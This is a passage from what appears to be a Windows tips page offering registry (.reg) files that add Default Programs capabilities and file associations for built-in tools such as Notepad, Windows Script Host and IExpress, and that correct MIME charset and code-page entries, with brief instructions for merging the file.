"PerceivedType"="Text"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.sed\OpenWithList\IExpress.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.sed\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.sed\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.sed\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.sed\Shell\Open\Command]
@="C:\\Windows\\System32\\IExpress.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.sed\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.sed\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ttc\OpenWithList\FontView.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ttf\OpenWithList\FontView.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.txt\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.url\Shell\Open\Command]
@="C:\\Windows\\System32\\RunDLL32.exe C:\\Windows\\System32\\URL.dll,OpenURL \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbe\OpenWithList\CScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbe\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbe\OpenWithList\WScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbe\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbe\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbe\Shell\Open\Command]
@="C:\\Windows\\System32\\WScript.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbe\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbe\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbs\OpenWithList\CScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbs\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbs\OpenWithList\WScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbs\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbs\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbs\Shell\Open\Command]
@="C:\\Windows\\System32\\WScript.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbs\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.vbs\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wmf\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsf\OpenWithList\CScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsf\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsf\OpenWithList\WScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsf\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsf\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsf\Shell\Open\Command]
@="C:\\Windows\\System32\\WScript.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsf\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsf\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsh\OpenWithList\CScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsh\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsh\OpenWithList\WScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsh\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsh\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsh\Shell\Open\Command]
@="C:\\Windows\\System32\\WScript.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsh\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wsh\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wtx]
"PerceivedType"="Text"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.zip\CLSID]
@="{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31}"

Double-click the file whisper.reg created in step 1. to merge its entries into the Registry.

�

REGEDIT4

; Copyright © 2001-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.acm]
@="acmfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\acmfile]
@="Audio Compression Manager Driver"
"NoOpen"="These files are small helper programs that can be used by other programs. Modifying them could make your computer less functional."

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ax]
@="axfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\axfile]
@="DirectShow Filter"
"NoOpen"="These files are small helper programs that can be used by other programs. Modifying them could make your computer less functional."

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ime]
@="imefile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\imefile]
@="Input Method Editor"
"NoOpen"="These files are small helper programs that can be used by other programs. Modifying them could make your computer less functional."

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.mst]
@="MSI.Transform"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MSI.Transform]
@="Windows Installer Transformation"
"NoOpen"="These files are small helper programs that can be used by other programs. Modifying them could make your computer less functional."

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.mui]
@="muifile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\muifile]
@="Multi-language User Interface"
"NoOpen"="These files are small helper programs that can be used by other programs. Modifying them could make your computer less functional."

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.pol]
@="polfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\polfile]
@="Registry Policy"
"NoOpen"="These files are small helper programs that can be used by other programs. Modifying them could make your computer less functional."

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sdb]
@="sdbfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\sdbfile]
@="Application Compatibility Shim Database"
"NoOpen"="These files are small helper programs that can be used by other programs. Modifying them could make your computer less functional."

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sdi]
@="sdifile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\sdifile]
@="System Deployment Image"
"NoOpen"="These files are small helper programs that can be used by other programs. Modifying them could make your computer less functional."

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.tsp]
@="tspfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\tspfile]
@="Telephony Service Provider"
"NoOpen"="These files are small helper programs that can be used by other programs. Modifying them could make your computer less functional."

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.wim]
@="wimfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wimfile]
@="Windows Imaging Format"

�

REGEDIT4

; Copyright © 1996-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\ascii]
"AliasForCharSet"=-
"CodePage"=dword:00004E9F ; 20127
"InternetEncoding"=dword:00004E9F

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\csASCII]
"AliasForCharSet"=-
"CodePage"=dword:00004E9F ; 20127
"InternetEncoding"=dword:00004E9F

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\csISOLatin1]
"AliasForCharSet"="iso-8859-1"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\csISOLatin3]
"AliasForCharSet"="iso-8859-3"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\csISOLatin6]
"AliasForCharSet"="iso-8859-10"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\csISOLatin7]
"AliasForCharSet"="iso-8859-13"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\csISOLatin8]
"AliasForCharSet"="iso-8859-14"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\csISOLatin9]
"AliasForCharSet"="iso-8859-15"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\csISOLatin10]
"AliasForCharSet"="iso-8859-16"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-1]
"CodePage"=dword:00006FAF ; 28591
"InternetEncoding"=dword:00006FAF

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-2]
"CodePage"=dword:00006FB0 ; 28592
"InternetEncoding"=dword:00006FB0

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-3]
"CodePage"=dword:00006FB1 ; 28593
"InternetEncoding"=dword:00006FB1

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-4]
"CodePage"=dword:00006FB2 ; 28594
"InternetEncoding"=dword:00006FB2

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-5]
"CodePage"=dword:00006FB3 ; 28595
"InternetEncoding"=dword:00006FB3

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-6]
"CodePage"=dword:00006FB4 ; 28596
"InternetEncoding"=dword:00006FB4

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-7]
"CodePage"=dword:00006FB5 ; 28597
"InternetEncoding"=dword:00006FB5

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-8]
"CodePage"=dword:00006FB6 ; 28598
"InternetEncoding"=dword:00006FB6

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-9]
"CodePage"=dword:00006FB7 ; 28599
"InternetEncoding"=dword:00006FB7

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-10]
"CodePage"=dword:00006FB8 ; 28600
"InternetEncoding"=dword:00006FB8

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\DataBase\CharSet\iso-8859-11]
"AliasForCharSet"=-
"CodePage"=dword:00006FB9 ; 28601
"InternetEncoding"=dword:00006FB9

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\DataBase\CharSet\iso-8859-12]
"CodePage"=dword:00006FBA ; 28602
"InternetEncoding"=dword:00006FBA

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-13]
"CodePage"=dword:00006FBB ; 28603
"InternetEncoding"=dword:00006FBB

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-14]
"CodePage"=dword:00006FBC ; 28604
"InternetEncoding"=dword:00006FBC

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-15]
"CodePage"=dword:00006FBD ; 28605
"InternetEncoding"=dword:00006FBD

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\iso-8859-16]
"CodePage"=dword:00006FBE ; 28606
"InternetEncoding"=dword:00006FBE

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\ISO646-US]
"AliasForCharSet"=-
"CodePage"=dword:00004E9F ; 20127
"InternetEncoding"=dword:00004E9F

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\ISO_646.irv:1991]
"AliasForCharSet"=-
"CodePage"=dword:00004E9F ; 20127
"InternetEncoding"=dword:00004E9F

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\l1]
"AliasForCharSet"="iso-8859-1"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\x-cp1252]
"AliasForCharSet"="windows-1252"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\x-cp1253]
"AliasForCharSet"="windows-1253"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\x-cp1254]
"AliasForCharSet"="windows-1254"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\x-cp1255]
"AliasForCharSet"="windows-1255"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\x-cp1256]
"AliasForCharSet"="windows-1256"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\x-cp1257]
"AliasForCharSet"="windows-1257"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\x-cp1258]
"AliasForCharSet"="windows-1258"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\us]
"AliasForCharSet"=-
"CodePage"=dword:00004E9F ; 20127
"InternetEncoding"=dword:00004E9F

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CharSet\us-ascii]
"AliasForCharSet"=-
"CodePage"=dword:00004E9F ; 20127
"InternetEncoding"=dword:00004E9F

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\DataBase\CharSet\windows-1254]
"AliasForCharSet"=-
"CodePage"=dword:000004E6 ; 1254
"InternetEncoding"=dword:000004E6

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\1250]
"BodyCharSet"="windows-1250"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\1251]
"BodyCharSet"="windows-1251"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\1252]
"BodyCharSet"="windows-1252"
"WebCharSet"="windows-1252"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\1253]
"BodyCharSet"="windows-1253"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\1254]
"BodyCharSet"="windows-1254"
"WebCharSet"="windows-1254"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\1255]
"BodyCharSet"="windows-1255"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\1256]
"BodyCharSet"="windows-1256"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\1257]
"BodyCharSet"="windows-1257"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\20127]
"BodyCharSet"="us-ascii"
"Description"="ASCII"
"Family"=dword:000004E4 ; 1252
"Level"=hex(3):01,01,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\28591]
"BodyCharSet"="iso-8859-1"
"Description"="Western (ISO)"
"Family"=dword:000004E4 ; 1252
"Level"=hex(3):07,07,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\28599]
"BodyCharSet"="iso-8859-9"
"Description"="Turkish (ISO)"
"Encoding"=hex(3):02,02,00,00
"Family"=dword:000004E6 ; 1254
"Level"=hex(3):07,07,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\28600]
"BodyCharSet"="iso-8859-10"
"Description"="Nordic (ISO)"
"Family"=dword:000004E9 ; 1257
"Level"=hex(3):01,03,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\28603]
"BodyCharSet"="iso-8859-13"
"Description"="Baltic (ISO)"
"Family"=dword:000004E9 ; 1257
"Level"=hex(3):01,03,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\28604]
"BodyCharSet"="iso-8859-14"
"Description"="Celtic (ISO)"
"Family"=dword:000004E4 ; 1252
"Level"=hex(3):01,03,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\28605]
"BodyCharSet"="iso-8859-15"
"Description"="Latin 9 (ISO)"
"Family"=dword:000004E4 ; 1252
"Level"=hex(3):07,07,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\MIME\Database\CodePage\28606]
"BodyCharSet"="iso-8859-16"
"Description"="Latin 10 (ISO)"
"Family"=dword:000004E4 ; 1252
"Level"=hex(3):07,07,00,00

Whisper № 3

[Screen shot of 'Default Programs' on Windows Vista]

With Windows Vista Microsoft enhanced the Default Programs control panel applet to manage associations for individual file extensions supported by an application.

They but didn’t bother to enable this shiny new feature for numerous standard applications like the Command Processor, Editor, IExpress Wizard, INF Default Installer, HTML Application Host, HTML Help Viewer, Microsoft Management Console, PowerShell, Registry Editor, Terminal Server Client, Windows Installer, Windows Script Host, Windows Update Standalone Installer and WordPad shipped and installed with Windows since then more than 10 years.

Fix

Perform the following 2 simple steps to fix these omissions.

Create the text file whisper.reg with the following content in an arbitrary, preferable empty directory:

REGEDIT4

; Copyright © 1999-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ddf]
@="ddffile"
"Content Type"="text/plain"
"PerceivedType"="text"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ddffile]
@="Diamond Directives File"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ddffile\Shell\Edit]
;@="&Edit"
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ddffile\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ddffile\Shell\Print]
;@="&Print"
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ddffile\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sed]
@="sedfile"
"Content Type"="text/plain"
"PerceivedType"="text"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sed\OpenWithList\IExpress.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sed\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sed\OpenWithList\WordPad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sed\OpenWithProgIDs]
"WordPad.Document.1"=hex(0):

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sed\PersistentHandler]
@="{5E941D80-BF96-11CD-B579-08002B30BFEB}"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.sed\ShellNew]
"Command"="C:\\Windows\\System32\\IExpress.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\sedfile]
@="Self Extractor Directives"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\sedfile\Shell\Edit]
;@="&Edit"
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\sedfile\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

; BUG: 'IExpress.exe' fails with (properly) quoted file/pathname!

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\sedfile\Shell\Open\Command]
@="C:\\Windows\\System32\\IExpress.exe %1"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\sedfile\Shell\Print]
;@="&Print"
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\sedfile\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\Capabilities]
"ApplicationDescription"="Command Processor"
"ApplicationName"="Command Processor"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\Capabilities\FileAssociations]
".bat"="batfile"
".cmd"="cmdfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\HTMLHelp\Capabilities]
"ApplicationDescription"="HTML Help"
"ApplicationName"="HTML Help"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\HTMLHelp\Capabilities\FileAssociations]
".chm"="chm.file"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IExpress Wizard\Capabilities]
"ApplicationDescription"="IExpress Wizard"
"ApplicationName"="IExpress Wizard"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\IExpress Wizard\Capabilities\FileAssociations]
".sed"="sedfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\INF Default Install Application\Capabilities]
"ApplicationDescription"="INF Default Install Application"
"ApplicationName"="INF Default Install Application"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\INF Default Install Application\Capabilities\FileAssociations]
".inf"="inffile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Management Console\Capabilities]
"ApplicationDescription"="@C:\\Windows\\System32\\MMC.exe,-128"
"ApplicationName"="@C:\\Windows\\System32\\MMC.exe,-128"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft Management Console\Capabilities\FileAssociations]
".msc"="mscfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft HTML Application Host\Capabilities]
"ApplicationDescription"="@C:\\Windows\\System32\\MSHTA.exe,-6412"
"ApplicationName"="@C:\\Windows\\System32\\MSHTA.exe,-6412"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft HTML Application Host\Capabilities\FileAssociations]
".hta"="htafile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NotePad\Capabilities]
"ApplicationDescription"="@C:\\Windows\\System32\\NotePad.exe,-9"
"ApplicationName"="@C:\\Windows\\System32\\NotePad.exe,-9"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NotePad\Capabilities\FileAssociations]
".log"="txtfile"
".scp"="txtfile"
".txt"="txtfile"
".wtx"="txtfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\Capabilities]
"ApplicationDescription"="@C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.exe,-111"
"ApplicationName"="@C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.exe,-109"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\Capabilities\FileAssociations]
".ps1"="Microsoft.PowerShellScript.1"
".ps1xml"="Microsoft.PowerShellXMLData.1"
".psc1"="Microsoft.PowerShellConsole.1"
".psd1"="Microsoft.PowerShellData.1"
".psm1"="Microsoft.PowerShellModule.1"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Terminal Server Client\Capabilities]
"ApplicationDescription"="@C:\\Windows\\System32\\MSTSC.exe,-1004"
"ApplicationName"="@C:\\Windows\\System32\\MSTSC.exe,-1004"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Terminal Server Client\Capabilities\FileAssociations]
".rdp"="RDP.File"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Applets\RegEdit\Capabilities]
"ApplicationDescription"="@C:\\Windows\\RegEdit.exe,-16"
"ApplicationName"="@C:\\Windows\\RegEdit.exe,-16"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Applets\RegEdit\Capabilities\FileAssociations]
".reg"="regfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Compressed Folder\Capabilities]
"ApplicationDescription"="@C:\\Windows\\System32\\ZipFldr.dll,-10133"
"ApplicationName"="@C:\\Windows\\System32\\ZipFldr.dll,-10133"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Compressed Folder\Capabilities\FileAssociations]
".zip"="CompressedFolder"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Capabilities]
"ApplicationDescription"="C:\\Windows\\System32\\Control.exe,-1"
"ApplicationName"="C:\\Windows\\System32\\Control.exe,-1"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Capabilities\FileAssociations]
".cpl"="cplfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Capabilities]
"ApplicationDescription"="@C:\\Windows\\System32\\MSIMsg.dll,-27"
"ApplicationName"="@C:\\Windows\\System32\\MSIMsg.dll,-28"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Capabilities\FileAssociations]
".msi"="MSI.Package"
".msp"="MSI.Patch"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Capabilities]
"ApplicationDescription"="@C:\\Windows\\System32\\WScript.exe,-1"
"ApplicationName"="@C:\\Windows\\System32\\WScript.exe,-1"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Capabilities\FileAssociations]
".js"="jsfile"
".jse"="jsefile"
".vbe"="vbefile"
".vbs"="vbsfile"
".wsf"="wsffile"
".wsh"="wshfile"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Update Standalone Installer\Capabilities]
"ApplicationDescription"="Windows Update Standalone Installer"
"ApplicationName"="Windows Update Standalone Installer"
"Hidden"=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Update Standalone Installer\Capabilities\FileAssociations]
".msu"="Microsoft.System.Update.1"

[HKEY_LOCAL_MACHINE\SOFTWARE\RegisteredApplications]
"Command Processor"="SOFTWARE\\Microsoft\\Command Processor\\Capabilities"
"Compressed Folder"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Compressed Folder\\Capabilities"
"Control Panel"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Capabilities"
"HTMLHelp"="SOFTWARE\\Microsoft\\HTMLHelp\\Capabilities"
"IExpress Wizard"="SOFTWARE\\Microsoft\\IExpress Wizard\\Capabilities"
"INF Default Install Application"="SOFTWARE\\Microsoft\\INF Default Install Application\\Capabilities"
"Microsoft HTML Application Host"="SOFTWARE\\Microsoft\\Microsoft HTML Application Host\\Capabilities"
"Microsoft Management Console"="SOFTWARE\\Microsoft\\Microsoft Management Console\\Capabilities"
"Microsoft PowerShell 1"="SOFTWARE\\Microsoft\\PowerShell\\1\\Capabilities"
"NotePad"="SOFTWARE\\Microsoft\\NotePad\\Capabilities"
"Registry Editor"="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Applets\\RegEdit\\Capabilities"
